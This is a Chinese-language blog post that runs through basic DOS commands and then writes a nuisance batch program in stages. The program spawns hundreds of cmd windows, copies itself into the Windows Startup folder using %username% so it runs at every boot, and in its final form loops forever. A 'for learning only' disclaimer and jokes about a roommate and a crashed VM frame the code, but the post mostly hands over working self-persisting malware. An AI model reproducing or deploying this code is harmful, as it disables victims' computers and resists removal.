• 简单的Dos命令/一行代码实现恶意程序


    申明:本文章仅供学习使用


    今天讲一些简单的Dos命令,并且利用Dos做一个简单的恶意代码,并且不断进行完善。

    dir查看目录内容命令
    dir/s列出所有文件以及子目录
    dir/a列出所有文件,包括隐藏文件

    md/mkdir创建目录命令

    cd打开指定目录命令

    C:改变当前盘符命令

    copy 文件复制命令
    copy 1.txt 2.txt把 1.txt复制一份并命名为2.txt
    copy 1.txt D: copy后面也可以跟路径哦

    type显示文本文件内容命令

    ren 更改文件名命令 重命名

    del删除文件命令

    copy/echo创建文件
    copy con 1.txt
    echo xxxx > 1.txt

    cls清屏

    move移动文件
    move 1.txt D:123

    start打开文件
    start不加其他参数,就是弹出cmd窗口
    start 1.txt打开1.txt

    以上都是废话,我总结的不多但是着实比较常用(我比较常用)。接下来介绍一下恶意代码的编写。这里利用刚才介绍的最后两个命令,来实现一个不断弹cmd的功能。

    这里再介绍一下批处理,批处理就是dos命令写在bat文件中,系统就会自动调用cmd来执行这些语句。

    概念介绍完了,接下来开始实操:

    1.最简单的恶意代码,就是写进好多好多行start,就会不断弹出窗口。

    @echo off
    start
    start
    start
    start
    start
    start
    

    @echo off是不显示如何执行的这个过程,这里你写几个start就可以弹出几个cmd窗口。
    在这里插入图片描述
    在这里插入图片描述
    你想多来几个那就Ctrl+C,Ctrl+V多来几下就完事。


    2.写个for循环不断弹出窗口
    一行搞定:

    for /l %%i in (1,1,1000) do start
    

    接下来解释一下这一行:
    /l指的是按照(start,step,end)的形式来,如果不加的话,会将括号内的数当做一个集合来使用。例:
    不加/l就只输出1,1,10
    加了/l就输出1-10
    不加/l就只输出1,1,10,加了就输出1-10.

    %%i的意思是将这个参数当成一个变量,在cmd下只要一个%就行,但是在批处理就需要两个。

    in (1,1,100)的格式为(start,step,end),(开始,梯度,结束),也就是从1到100,梯度为1。
    再举个栗子,(1,2,100),就是从1-100中每隔一个取一个数,也就是1.3.5.7.9…99

    do start 就是执行start这个命令。

    在这里插入图片描述
    这个bat我就不敢执行了,昨晚室友整了一下差点被打死。。。


    3.升级版:开机自启
    首先,win+R,输入shell:startup就会跳出一个文件夹,所有在这里的程序都会开机自启。当然,开机自启不止这一种方式,也可以用注册表等其他方式实现。
    这里利用move命令实现:

    move 1.bat "C:Users12751AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
    for /l %%i in (1,1,1000) do start
    

    如果你在你的电脑上执行这个 肯定执行不了,只能不断弹出1000个cmd,不能实现开机自启。原因是不同账户路径不同。

    在这里插入图片描述
    那个12751是用户的名字,所以这个只能在我自己本地上实现,并不具备通用性。做进一步改进后,代码如下:

    move 1.bat "C:Users\%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
    for /l %%i in (1,1,1000) do start
    

    首先要说的是,%username%是引用当前用户名变量。你可以在cmd下执行一下:
    在这里插入图片描述
    所以一个非常非常邪恶的代码就此产生,开机后给你弹1000个cmd才能继续使用(大家还是别试了,小命要紧,可以在虚拟机上试试)


    你以为这就结束了嘛?不,这个代码还能再升级升级,可以搞成死循环。(一旦死循环就只能重启解决了,要是开机自启那就真要命了。)
    4.最终升级版

    move 1.bat "C:Users\%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
    
    :1
    start
    goto 1
    

    这里建了一个标签,标签的结尾又跳转到标签的开头,就会死循环。
    一旦这样子之后,解决办法只能用PE进入C盘删除那个文件,所以轻易还是不要试了。
    在这里插入图片描述
    虚拟机给我整崩了,奉劝大家别拿自己的电脑开玩笑~~~


    再次申明,本章仅供学习使用

  • 相关阅读:
    Java 源码刨析
    qemu-guest-agent详解
    Java 源码刨析
    NTP服务解析
    virsh常见命令笔记
    Ansible之playbook
    ansible模块详解
    HashMap详解
    Mysql-Incorrect string value
    web开发中前后端传值
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13702751.html
Copyright © 2020-2023  润新知